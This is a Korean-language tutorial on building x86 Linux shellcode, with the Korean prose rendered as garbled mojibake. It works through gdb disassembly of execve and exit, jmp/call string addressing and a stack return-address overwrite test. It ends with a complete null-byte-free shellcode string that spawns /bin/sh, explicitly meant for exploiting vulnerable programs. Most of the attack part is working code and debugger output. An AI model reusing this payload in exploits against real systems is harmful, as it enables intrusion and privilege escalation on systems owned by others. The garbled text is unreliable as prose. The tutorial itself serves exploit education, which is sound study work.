================================================================ Topic : Making Basic Shellc0de For Kidz Author : Ham Ji Man (realdata@igrus.inha.ac.kr) Reference : Phrack 49-14 [Smashing The Stack For Fun And Profit] Security+ for Unix (written by PLUS) Brennan's Guide to Inline Assembly Special Thanks to: IGRUS Troops (.tf, andsoon) ================================================================ ÀÌ ¹®¼­´Â Ãʺ¸ÀÚÀÎ Á¦ ÀÚ½ÅÀÌ ÀÌ¹Ì ¸¸µé¾îÁø B0f¿¡ °üÇÑ ¿©·¯ ¹®¼­µéÀ» º¸¸é¼­ ½±°Ô ÀÌÇØÇÒ¼ö ¾ø¾ú´ø ºÎºÐÀ» ´ÙÀ½¿¡ °øºÎÇϽô ºÐµé¿¡°Ô Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ±â À§Çؼ­ ¸¸µç °ÍÀÔ´Ï´Ù. ¸¹Àº µµ¿òÀÌ µÇ½Ã±æ ¹Ù¶ø´Ï´Ù. 1. C code for Shell 2. AT&T assembly Syntax 3. Analyze main() 4. Analyze execve() 5. Analyze exit() 6. Condition of ShellCode 7. Useful Shellcode 8. Completed Shellc0de ------------------------------------------------------------------------------- 1. C code for Shell shellcode.c =========================================== #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } =========================================== [realdata@realdata b0f]$gcc -o shellcode -ggdb -static shellcode.c [realdata@realdata b0f]$gdb shellcode GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disass main Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x8,%esp 0x804819e : movl $0x8072428,0xfffffff8(%ebp) 0x80481a5 : movl $0x0,0xfffffffc(%ebp) 0x80481ac : pushl $0x0 0x80481ae : leal 0xfffffff8(%ebp),%eax 0x80481b1 : pushl %eax 0x80481b2 : movl 0xfffffff8(%ebp),%eax 0x80481b5 : pushl %eax 0x80481b6 : call 0x804d0d0 0x80481bb : addl $0xc,%esp 0x80481be : leave 0x80481bf : ret End of assembler dump. (gdb) disass execve Dump of assembler code for function __execve: 0x804bb10 <__execve>: pushl %ebx 0x804bb11 <__execve+1>: movl 0x10(%esp,1),%edx 0x804bb15 <__execve+5>: movl 0xc(%esp,1),%ecx 0x804bb19 <__execve+9>: movl 0x8(%esp,1),%ebx 0x804bb1d <__execve+13>: movl $0xb,%eax 0x804bb22 <__execve+18>: int $0x80 0x804bb24 <__execve+20>: popl %ebx 0x804bb25 <__execve+21>: cmpl $0xfffff001,%eax 0x804bb2a <__execve+26>: jae 0x804be30 <__syscall_error> 0x804bb30 <__execve+32>: ret End of assembler dump. [realdata@realdata b0f]$ 2. AT&T assembly syntax À§ÀÇ disassembleÇÑ °á°ú¸¦ ºÐ¼®Çϱâ À§Çؼ­´Â ¿ì¼± AT&T assemblyÀÇ ¹®¹ýÀ» ÀÌÇØÇØ¾ß °ÚÁÒ. Intel syntax¿Í ºñ±³Çؼ­ ¼³¸íÇÏ°Ú½À´Ï´Ù. Intel Assembly¸¦ ¾Ë°í ÀÖ´Ù´Â °ÍÀ» ÀüÁ¦·Î ÇÕ´Ï´Ù. - Register naming AT&T syntax´Â register name ¾Õ¿¡ "%"¸¦ ºÙÀÔ´Ï´Ù. AT&T : %eax Intel : eax - Source/Destination Ordering Intel assembly¿¡¼­´Â OperandÀÇ ¼ø¼­°¡ [Destination Op][Source OP]¿´ÁÒ. ÇÏÁö¸¸ AT&T syntax´Â ±× ¹Ý´ë·Î »ç¿ëÇÕ´Ï´Ù. ´ÙÀ½Àº eax registerÀÇ °ªÀ» ebx¿¡ ÀúÀå½ÃÅ°´Â ¿¹ÀÔ´Ï´Ù. AT&T : movl %eax,%ebx Intel : mov ebx,eax - Constant value/immediate value format AT&T assembly¿¡¼­ Constant, immediate value¸¦ ³ªÅ¸³»´Â ¹æ¹ýÀº value¾Õ¿¡ "$"°¡ ³ª¿Â´Ù. ¾Æ·¡ÀÇ ¿¹¸¦ º¸¸é, AT&T : movl $_blah,&eax (C¾ð¾îÀÇ Static Variable blah) Intel : mov eax,_blah AT&T : movl $0xd00d,%ebx Intel : mov ebx,d00dh - Operator size specification Intel°ú´Â ´Þ¸® AT&T assembly´Â ±¸Ã¼ÀûÀÎ »çÀÌÁ ¸í½ÃÇØÁØ´Ù. »ý·«ÇÒ ¼ö´Â ÀÖÁö¸¸, »ý·«ÇÑ´Ù¸é GNU Assembler°¡ ÀÓÀÇ·Î ¼±ÅÃÇÑ´Ù. »çÀÌÁ ¸í½ÃÇÏ´Â °ÍÀ» ±ÇÀåÇÑ´Ù. b - byte, w - word, l - longword (Intel : dword) AT&T : movw %ax,%bx Intel : mov bx,ax - Referencing memory(386-protected mode) AT&T : immediate_value(32)(base, index, scale) Intel : [base + index * scale + immediate32] - Addressing what a register points to : AT&T : (%eax) Intel : [eax] - Do offset with the immediate value : AT&T : 1(%eax) or 0x4(%esi) Intel : [eax + 1] 3. Anaylaze main() 0x8048198
: pushl %ebp //¿¹ÀüÀÇ ÇÁ·¹ÀÓ Æ÷ÀÎÅ͸¦ ÀúÀå(½ºÅÿ¡ Ǫ½¬). 0x8048199 : movl %esp,%ebp //ÇöÀç ½ºÅà Æ÷ÀÎÅ͸¦ »õ·Î¿î ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ·Î ÇÔ. 0x804819b : subl $0x8,%esp //Áö¿ªº¯¼ö(Local Variable)°¡ µé¾î°¥ °ø°£ È®º¸. Áö¿ªº¯¼ö´Â ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ·Î ºÎÅÍ À½¼ö·Î »¸¾î³ª°¡±â ¶§¹®¿¡ °ø°£ È®º¸¸¦ À§Çؼ­ subl·Î »©ÁØ´Ù. shellcode.c¿¡¼­ º¸¸é char *name[2]; ¿¡ ÀÇÇØ charÇü Æ÷ÀÎÅÍ°¡ µé¾î°¥ 8¹ÙÀÌÆ®¸¦ È®º¸ÇÑ °ÍÀÌ´Ù. (Âü°í·Î Æ÷ÀÎÅÍÀÇ ±æÀÌ´Â 1¿öµåÀÌ´Ù.) ¿©±â±îÁö°¡ ÇÁ·Î½ÃÀúÀÇ ÇÁ·Ñ·Î±×¿¡ ÇØ´çµÈ´Ù. 0x804819e : movl $0x8072428,0xfffffff8(%ebp) %ebpÀÇ 0xfffffff8ÀÎ °÷¿¡ 0x8072428À̶ó´Â ¹®ÀÚ¿­ "/bin/sh" ÁÖ¼Ò°ªÀ» º¹»ç. name[0] = "/bin/sh"; 0x80481a5 : movl $0x0,0xfffffffc(%ebp) %ebpÀÇ 0xfffffffcÀÎ °÷¿¡ NULL(4byte)À» º¹»ç. name[1] = NULL; ÀÌÁ¦ºÎÅÍ execveÀÇ ½ÇÁ¦ È£Ãâ°úÁ¤ÀÌ ÀÌ·ç¾î Áø´Ù. 0x80481ac : pushl $0x0 execveÀÇ ÀÎÀÚµéÀ» ½ºÅÿ¡ ¹Ý´ë¼ø¼­·Î ¹Ð¾î³Ö´Â´Ù. NULL·Î ½ÃÀÛÇÑ´Ù. execve(name[0], name, NULL); 0x80481ae : leal 0xfffffff8(%ebp),%eax %ebpÀÇ 0xfffffff8ÀÇ ÁÖ¼Ò¸¦ %eax¿¡ ·Îµå. 0x80481b1 : pushl %eax %eax¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. 0x80481b2 : movl 0xfffffff8(%ebp),%eax %ebpÀÇ 0xfffffff8ÀÇ ³»¿ë Áï, ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ %eax·Î º¹»ç. 0x80481b5 : pushl %eax %eax¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. 0x80481b6 : call 0x804d0d0 execve¸¦ È£ÃâÇÑ´Ù. À̶§ call¸í·ÉÀº IP(Instruction Pointer)¿¡ pushÇÑ´Ù. 4. Analyze execve() 0x804bb10 <__execve>: pushl %ebx 0x804bb11 <__execve+1>: movl 0x10(%esp,1),%edx NULL Æ÷ÀÎÅÍÀÇ ÁÖ¼Ò¸¦ %edx·Î º¹»ç. 0x804bb15 <__execve+5>: movl 0xc(%esp,1),%ecx name[]ÀÇ ÁÖ¼Ò¸¦ %ecx·Î º¹»ç. 0x804bb19 <__execve+9>: movl 0x8(%esp,1),%ebx "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ %ebx¿¡ º¹»ç. 0x804bb1d <__execve+13>: movl $0xb,%eax ½Ã½ºÅÛ È£Ãâ ¸ñ·Ï »öÀο¡¼­ÀÇ execveÀÇ ¹øÈ£ 11À» %eax¿¡ º¹»ç. 0x804bb22 <__execve+18>: int $0x80 Ä¿³Î¸ðµå·Î µ¹¾Æ°¡±â À§ÇÑ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®. 0x804bb24 <__execve+20>: popl %ebx 5.exitÇÔ¼ö ¶â¾î º¸±â. exit.c =========================================== #include void main() { exit(0); } =========================================== [realdata@realdata b0f]$ gcc -o exit -ggdb -static exit.c [realdata@realdata b0f]$ gdb exit GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804bae0 <_exit>: movl %ebx,%edx 0x804bae2 <_exit+2>: movl 0x4(%esp,1),%ebx //ÀÎÀÚ(0)¸¦ ¹Þ¾Æ¼­ %ebx¿¡ ÀúÀå. 0x804bae6 <_exit+6>: movl $0x1,%eax //exit ½Ã½ºÅÛ È£Ãâ ¹øÈ£ 1À» %eax¿¡ ÀúÀå. 0x804baeb <_exit+11>: int $0x80 0x804baed <_exit+13>: movl %edx,%ebx 0x804baef <_exit+15>: cmpl $0xfffff001,%eax 0x804baf4 <_exit+20>: jae 0x804bdf0 <__syscall_error> End of assembler dump. (gdb) quit 6.Condition of ShellCode ÀÌÁ¦ ¿ì¸®´Â À§ÀÇ execveÇÔ¼ö¿Í exitÇÔ¼ö¸¦ Á¶ÇÕÇÏ¿© ¿Ï¼ºµÈ ½©Äڵ带 ¸¸µå´Â ÀÏÀÌ ³²¾ÆÀÖ´Ù. ¿ì¼± ½©Äڵ尡 ¿Ã¹Ù¸£°Ô ÀÛµ¿µÇ¾î¾ß ÇÒ Á¶°ÇÀ» »ìÆ캸ÀÚ. 1) NULL¹®ÀÚ·Î Á¾·áµÇ´Â, ¹®ÀÚ¿­ "/bin/sh"À» ¸Þ¸ð¸®¿¡ À§Ä¡½ÃÄÑ¾ß ÇÑ´Ù. 2) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ¸Þ¸ð¸®¿¡ ÀúÀåÇÑ´Ù. 3) 0xb(execveÀÇ ½Ã½ºÅÛ È£Ãâ ÄÚµå)¸¦ eax·¹Áö½ºÅÍ¿¡ º¹»ç. 4) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ebx ·¹Áö½ºÅÍ¿¡ º¹»ç. 5) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò°¡ ÀúÀåµÈ ÁÖ¼Ò¸¦ ecx ·¹Áö½ºÅÍ¿¡ ·Îµå. 6) 4byteÀÇ NULLÀÇ ÁÖ¼Ò¸¦ edx·¹Áö½ºÅÍ¿¡ º¹»ç. 7) int 0x80 ¸í·É ½ÇÇà. 8) 0x1(exitÀÇ ½Ã½ºÅÛ È£Ãâ ÄÚµå)À» eax ·¹Áö½ºÅÍ¿¡ º¹»ç. 9) 0x0À» ebx ·¹Áö½ºÅÍ¿¡ º¹»ç. 10) int 0x80 ¸í·É ½ÇÇà. ÀÌ°ÍÀ» °³³äÀûÀÎ Shellcode·Î¼­ ³ªÅ¸³» º¸¸é ´ÙÀ½°ú °°´Ù. ================================== movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr_addr,%ebx leal null_string,%edx int $0x80 movl $0x1,%eax movl $0x0,%ebx int $0x80 .string "/bin/sh" ================================== 7. Useful Shellcode ¿ì¸®´Â ¹®ÀÚ¿­ "/bin/sh"ÀÌ ÀúÀåµÉ ¸Þ¸ð¸®ÀÇ °ø°£À» ¾Ë ¼ö ¾ø´Ù. ±×·¸±â ¶§¹®¿¡ ²Ç¼öÀÌÁö¸¸ JMP¿Í CALLÀ» »ç¿ëÇÑ´Ù. ¿ì¸®°¡ »ç¿ëÇÒ ½©ÄÚµåÀÇ Á¦ÀÏ ¾Õ¿¡ JMP ¸í·ÉÀ» µÎ¾î CALL·Î ¶Ù¾î³Ñ¾î°¡µµ·Ï ÇÑ´Ù. À̶§ CALLÀº JMP¸í·É µÚÀÇ poplÀ» È£ÃâÇÏ°Ô Çϸ鼭 CALL¸í·É µÚÀÇ ¹®ÀÚ¿­ "/bin/sh"ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò°¡ ½ºÅÿ¡ pushµÈ´Ù. ÀÌ·¸°Ô µÇ¸é ¿ì¸®´Â %esp ·¹Áö½ºÅ͸¦ pop½ÃÄѼ­ ¹®ÀÚ¿­ "/bin/sh"ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¼Õ½±°Ô ¾Ë¼ö ÀÖ´Ù. ============================================ jmp popl - int offset #2 byte popl %esi #1 byte movl string_addr,string_addr_addr #3 byte movb $0x0,null_byte_addr #4 byte movl $0x0,null_addr #7 byte movl $0xb,%eax #5 byte movl string_addr,%ebx #2 byte leal string_addr_addr,%ecx #3 byte leal null_string,%edx #3 byte int $0x80 #2 byte movl $0x1,%eax #5 byte movl $0x0,%ebx #5 byte int $0x80 #2 byte call call - popl offset #5 byte .string "/bin/sh" #8 byte ============================================ ÀÚ ÀÌÁ¦ ½ÇÁ¦ Ãë¾àÁ¡¿¡ ÀÌ¿ëÇصµ µÉ ¸¸Å­ ½©Äڵ带 °³·«ÀûÀ¸·Î ¿Ï¼ºÇß´Ù. ½ÇÁ¦ °ªÀ» ³Ö¾îº¸ÀÚ. ==================================================================================== void main() { __asm__(" jmp 0x2a #2 byte popl %esi #1 byte movl %esi,0x8(%esi) #3 byte movb $0x0,0x7(%esi) #4 byte movl $0x0,0xc(%esi) #7 byte movl $0xb,%eax #5 byte movl %esi,%ebx #2 byte leal 0x8(%esi),%ecx #3 byte leal 0xc(%esi),%edx #3 byte int $0x80 #2 byte movl $0x1,%eax #5 byte movl $0x0,%ebx #5 byte int $0x80 #2 byte call -0x2f #5 byte .string \"/bin/sh\" #8 byte "); } ==================================================================================== ÀÌ°ÍÀ» gcc inline assembler·Î ÄÄÆÄÀÏÇÑ ÈÄ, ÁøÁ¤ÇÑ ½©Äڵ带 ¾ò°Ú´Ù. [realdata@realdata b0f]$ gcc -o shellcode2 -g -ggdb shellcode2.c [realdata@realdata b0f]$ gdb shellcode2 GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disass main Dump of assembler code for function main: 0x8048398
: pushl %ebp 0x8048399 : movl %esp,%ebp 0x804839b : jmp 0x80483c7 0x804839d : popl %esi 0x804839e : movl %esi,0x8(%esi) 0x80483a1 : movb $0x0,0x7(%esi) 0x80483a5 : movl $0x0,0xc(%esi) 0x80483ac : movl $0xb,%eax 0x80483b1 : movl %esi,%ebx 0x80483b3 : leal 0x8(%esi),%ecx 0x80483b6 : leal 0xc(%esi),%edx 0x80483b9 : int $0x80 0x80483bb : movl $0x1,%eax 0x80483c0 : movl $0x0,%ebx 0x80483c5 : int $0x80 0x80483c7 : call 0x804839d 0x80483cc : das 0x80483cd : boundl 0x6e(%ecx),%ebp 0x80483d0 : das 0x80483d1 : jae 0x804843b 0x80483d3 : addb %cl,%cl 0x80483d5 : ret End of assembler dump. (gdb) x/bx main+3 0x804839b : 0xeb (gdb) x/bx main+4 0x804839c : 0x2a (gdb) x/bx main+5 0x804839d : 0x5e (gdb) . . . ÀÌ·¸°Ô ¸¸µé¾îÁø ½©ÄÚµå·Î Àá½Ã Å×½ºÆ®¸¦ Çغ¸ÀÚ. test_shell.c =========================================================== char shellc0de[] = "\xeb\x2a" //jmp 0x2a "\x5e" //popl %esi "\x89\x76\x08" //movl %esi,0x8(%esi) "\xc6\x46\x07\x00" //movb $0x0,0x7(%esi) "\xc7\x46\x0c\x00\x00\x00\x00" //movl $0x0,0xc(%esi) "\xb8\x0b\x00\x00\x00" //movl $0xb,%eax "\x89\xf3" //movl %esi,%ebx "\x8d\x4e\x08" //leal 0x8(%esi),%ecx "\x8d\x56\x0c" //leal 0xc(%esi),%edx "\xcd\x80" //int $0x80 "\xb8\x01\x00\x00\x00" //movl $0x1,%eax "\xbb\x00\x00\x00\x00" //movl $0x0,%ebx "\xcd\x80" //int $0x80 "\xe8\xd1\xff\xff\xff" //call -0x2f "/bin/sh"; //.string \"/bin/sh\" void main(){ int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellc0de; } =========================================================== [realdata@realdata b0f]$ gcc -o test_shell test_shell.c [realdata@realdata b0f]$ ./test_shell bash$ exit exit [realdata@realdata b0f]$ ÀÚ Å×½ºÆ®ÇÑ °á°ú ¿ì¸®°¡ ¸¸µç ½© Äڵ尡 Á¦´ë·Î ÀÛµ¿ÇÑ´Ù. ÇÏÁö¸¸ À§ÀÇ Å×½ºÆ®¿¡¼­´Â shellc0de¸¦ ¹®ÀÚÇüÀÌ ¾Æ´Ñ Á¤¼öÇüÀ¸·Î Ãë±ÞÇß´Ù. ¾î¶² ¹®Á¦°¡ Àִ°¡? ¿ì¸®°¡ ÈçÈ÷ exploitÇÒ Ãë¾àÁ¡À» °¡Áø ÇÁ·Î±×·¥µéÀº ¹®ÀÚÇü ¹öÆÛ¸¦ »ç¿ëÇϱ⠶§¹®¿¡ \x00 °ú °°Àº NULL ¹ÙÀÌÆ®´Â ¹®ÀÚÀÇ ³¡À¸·Î ÀνÄÇϱ⠶§¹®¿¡ ½©Äڵ带 ³¡±îÁö ½ÇÇà½Ãų ¼ö ¾ø´Ù. ÀÌÁ¦ NULL ¹ÙÀÌÆ®¸¦ ¾ø¾Ö º¼ °ÍÀÌ´Ù. ¾Æ·¡¿¡¼­ NULL ¹ÙÀÌÆ®°¡ ³ªÅ¸³ª´Â ºÎºÐÀ» ã¾Æº¸ÀÚ. char shellc0de[] = "\xeb\x2a" //jmp 0x2a "\x5e" //popl %esi "\x89\x76\x08" //movl %esi,0x8(%esi) "\xc6\x46\x07\x00" //movb $0x0,0x7(%esi) NULL "\xc7\x46\x0c\x00\x00\x00\x00" //movl $0x0,0xc(%esi) NULL "\xb8\x0b\x00\x00\x00" //movl $0xb,%eax NULL "\x89\xf3" //movl %esi,%ebx "\x8d\x4e\x08" //leal 0x8(%esi),%ecx "\x8d\x56\x0c" //leal 0xc(%esi),%edx "\xcd\x80" //int $0x80 "\xb8\x01\x00\x00\x00" //movl $0x1,%eax NULL "\xbb\x00\x00\x00\x00" //movl $0x0,%ebx NULL "\xcd\x80" //int $0x80 "\xe8\xd1\xff\xff\xff" //call -0x2f "/bin/sh"; //.string \"/bin/sh\" ¸ðµÎ ´Ù¼¸±ºµ¥¿¡¼­ NULL ¹ÙÀÌÆ®°¡ ³ª¿Ô´Ù. Çϳª¾¿ »ìÆì º¸ÀÚ. movb $0x0,0x7(%esi) NULL movl $0x0,0xc(%esi) NULL À§ µÎ ¸í·ÉÀº Á¶±Ý¸¸ »ý°¢ÇÑ´Ù¸é ½±°Ô NULL ¹ÙÀÌÆ®°¡ ³ª¿ÀÁö ¾Ê´Â ¸í·ÉÀ¸·Î ¹Ù²Ü¼ö ÀÖ´Ù. xorl %eax,%eax //xorl¸í·ÉÀ¸·Î %eax¸¦ NULL(0)À¸·Î ÃʱâÈ­ ÇÑ´Ù. movb %eax,0x7(%esi) //±×¸®°í NULL´ë½Å NULL·Î ÃʱâÈ­µÈ %eax¸¦ º¹»çÇÑ´Ù. movl %eax,0xc(%esi) ¾î¶²°¡? ¿ì¸®´Â ¾î´À °æ·Î·Î °¡³ª ¸ñÀûÁö¿¡ µµÂø¸¸ ÇÏ¸é µÇ´Â °ÍÀÌ´Ù. movl $0xb,%eax -> movl $0xb,%al movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx -> movl %ebx,%eax inc %eax ÀÌ·¸°Ô ¿ì¸®´Â NULL¹ÙÀÌÆ®°¡ Æ÷ÇÔµÈ Äڵ带 »ì¦ ¹Ù²ã¼­ NULL¹ÙÀÌÆ®¸¦ Á¦°Å ÇÏ¿´´Ù. 8.Completed Shellcode ¿ì¸®ÀÇ »ç¶û½º·± Á¤¼º°ú ³ë·ÂÀ¸·Î ¿Ï¼ºµÈ ½©ÄÚµåÀÌ´Ù. ÀÌ ½©ÄÚµå´Â Intel x86 Linux¿¡¼­ À¯È¿ÇÏ´Ù. ===================================================================== char shellc0de[]= "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ===================================================================== ½©Äڵ带 Á÷Á¢ ¸¸µé¾îº» ±âºÐÀÌ ¾î¶²°¡? Script Kid¸¦ ¹þ¾î³­ ±âºÐÀΰ¡? ÀÌÁ¦ ¿ì¸®´Â ´Ù¸¥ À̵éÀÌ ÀÌ¹Ì ¸¸µé¾î³í ½©Äڵ带 ÂîÀÍ ±ÜÀ» ÇÊ¿ä°¡ ¾ø´Ù. ±×¸®°í ½©ÄÚµåÀÇ ±âº»ÀûÀÎ ¸éÀ» ÀÌÇØÇß´Ù¸é ¿©±â¼­ ¸Ó¹«¸¦°ÍÀÌ ¾Æ´Ï¶ó ´õ¿í ¹ßÀüµÈ ½©Äڵ带 ¸¸µé·Á°í ¸¶À½¸Ô¾î¾ß ÇÒ °ÍÀÌ´Ù. À§ÀÇ ¼³¸íÁß ³­ÇØÇÑ ºÎºÐÀ̳ª ¼öÁ¤µÉ ºÎºÐÀÌ ÀÖ´Ù¸é °¡Â÷¾øÀÌ ¸ÞÀÏÀ» º¸³»Áֽñ⠹ٶø´Ï´Ù.